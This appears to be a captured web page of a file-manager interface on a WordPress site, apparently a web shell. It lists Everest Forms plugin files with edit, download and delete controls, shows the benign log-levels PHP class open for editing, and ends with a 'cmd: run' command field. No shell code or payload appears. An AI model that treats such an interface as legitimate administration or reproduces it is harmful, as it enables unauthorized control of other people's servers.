/
home
/
techb158
/
primomovers.ca
/
wp-content
/
plugins
/
everest-forms
/
includes
/
/home/techb158/primomovers.ca/wp-content/plugins/everest-forms/includes
mkdir
upload
Name
Size
Mode
Actions
abilities/
-
0755
rm
abstracts/
-
0755
rm
admin/
-
0755
rm
blocks/
-
0755
rm
elementor/
-
0755
rm
export/
-
0755
rm
fields/
-
0755
rm
Helpers/
-
0755
rm
Integrations/
-
0755
rm
interfaces/
-
0755
rm
libraries/
-
0755
rm
log-handlers/
-
0755
rm
RestApi/
-
0755
rm
shortcodes/
-
0755
rm
stats/
-
0755
rm
templates/
-
0755
rm
traits/
-
0755
rm
class-everest-forms.php
15147
0644
edit
dl
rm
class-evf-addon-upsell.php
10592
0644
edit
dl
rm
class-evf-ajax.php
78822
0644
edit
dl
rm
class-evf-autoloader.php
1968
0644
edit
dl
rm
class-evf-background-process-import-entries.php
5276
0644
edit
dl
rm
class-evf-background-updater.php
3351
0644
edit
dl
rm
class-evf-cache-helper.php
2416
0644
edit
dl
rm
class-evf-cron.php
1871
0644
edit
dl
rm
class-evf-deprecated-action-hooks.php
4008
0644
edit
dl
rm
class-evf-deprecated-filter-hooks.php
3729
0644
edit
dl
rm
class-evf-email-entries-report.php
11878
0644
edit
dl
rm
class-evf-emails.php
20134
0644
edit
dl
rm
class-evf-fields.php
4828
0644
edit
dl
rm
class-evf-form-handler.php
16780
0644
edit
dl
rm
class-evf-form-task.php
95466
0644
edit
dl
rm
class-evf-forms-features.php
1957
0644
edit
dl
rm
class-evf-frontend-scripts.php
17399
0644
edit
dl
rm
class-evf-install.php
21513
0644
edit
dl
rm
class-evf-integrations.php
6943
0644
edit
dl
rm
class-evf-log-levels.php
2674
0644
edit
dl
rm
class-evf-logger.php
8471
0644
edit
dl
rm
class-evf-post-types.php
5254
0644
edit
dl
rm
class-evf-privacy.php
7587
0644
edit
dl
rm
class-evf-report-cron.php
6689
0644
edit
dl
rm
class-evf-reporting.php
1201
0644
edit
dl
rm
class-evf-session-handler.php
8211
0644
edit
dl
rm
class-evf-shortcodes.php
2084
0644
edit
dl
rm
class-evf-smart-tags.php
20742
0644
edit
dl
rm
class-evf-template-loader.php
14643
0644
edit
dl
rm
class-evf-validation.php
934
0644
edit
dl
rm
evf-conditional-functions.php
1242
0644
edit
dl
rm
evf-core-functions.php
201575
0644
edit
dl
rm
evf-deprecated-functions.php
6365
0644
edit
dl
rm
evf-entry-functions.php
9367
0644
edit
dl
rm
evf-formatting-functions.php
15958
0644
edit
dl
rm
evf-notice-functions.php
6378
0644
edit
dl
rm
evf-template-functions.php
1225
0644
edit
dl
rm
evf-template-hooks.php
439
0644
edit
dl
rm
evf-update-functions.php
10203
0644
edit
dl
rm
Edit:
/home/techb158/primomovers.ca/wp-content/plugins/everest-forms/includes/class-evf-log-levels.php
(2674B)
<?php /** * Standard log levels * * @version 1.0.0 * @package EverestForms/Classes */ defined( 'ABSPATH' ) || exit; /** * Log levels class. */ abstract class EVF_Log_Levels { /** * Log Levels * * Description of levels: * 'emergency': System is unusable. * 'alert': Action must be taken immediately. * 'critical': Critical conditions. * 'error': Error conditions. * 'warning': Warning conditions. * 'notice': Normal but significant condition. * 'info': Informational messages. * 'debug': Debug-level messages. * * @see @link {https://tools.ietf.org/html/rfc5424} */ const EMERGENCY = 'emergency'; const ALERT = 'alert'; const CRITICAL = 'critical'; const ERROR = 'error'; const WARNING = 'warning'; const NOTICE = 'notice'; const INFO = 'info'; const DEBUG = 'debug'; /** * Level strings mapped to integer severity. * * @var array */ protected static $level_to_severity = array( self::EMERGENCY => 800, self::ALERT => 700, self::CRITICAL => 600, self::ERROR => 500, self::WARNING => 400, self::NOTICE => 300, self::INFO => 200, self::DEBUG => 100, ); /** * Severity integers mapped to level strings. * * This is the inverse of $level_severity. * * @var array */ protected static $severity_to_level = array( 800 => self::EMERGENCY, 700 => self::ALERT, 600 => self::CRITICAL, 500 => self::ERROR, 400 => self::WARNING, 300 => self::NOTICE, 200 => self::INFO, 100 => self::DEBUG, ); /** * Validate a level string. * * @param string $level Log level. * @return bool True if $level is a valid level. */ public static function is_valid_level( $level ) { return array_key_exists( strtolower( $level ), self::$level_to_severity ); } /** * Translate level string to integer. * * @param string $level Log level, options: emergency|alert|critical|error|warning|notice|info|debug. * @return int 100 (debug) - 800 (emergency) or 0 if not recognized */ public static function get_level_severity( $level ) { if ( self::is_valid_level( $level ) ) { $severity = self::$level_to_severity[ strtolower( $level ) ]; } else { $severity = 0; } return $severity; } /** * Translate severity integer to level string. * * @param int $severity Serevity level. * @return bool|string False if not recognized. Otherwise string representation of level. */ public static function get_severity_level( $severity ) { if ( array_key_exists( $severity, self::$severity_to_level ) ) { return self::$severity_to_level[ $severity ]; } else { return false; } } }
Save
cmd:
run